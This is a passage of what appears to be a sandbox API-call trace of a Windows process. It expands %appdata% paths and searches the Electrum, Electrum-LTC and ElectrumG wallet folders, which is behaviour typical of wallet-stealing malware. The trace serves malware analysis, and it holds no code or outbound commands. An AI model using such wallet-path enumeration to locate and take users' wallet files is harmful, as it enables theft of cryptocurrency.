pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x41 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0075.151] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.151] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0075.152] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x40 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0075.152] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0075.152] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.152] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.152] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.152] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.152] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.152] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.152] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum-LTC\\wallets\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 0x44 [0075.152] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.152] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0075.152] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x2321d84*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x2321d84*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0075.154] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x45 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0075.155] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.155] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x44 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", len=0x44 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.155] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0075.155] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.155] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.155] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\ElectrumG\\wallets\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 0x41 [0075.155] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x3982e4c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x3982e4c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\", len=0x40 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x42 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*") returned 1 [0075.156] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ElectrumG\\wallets\\\\*", len=0x42 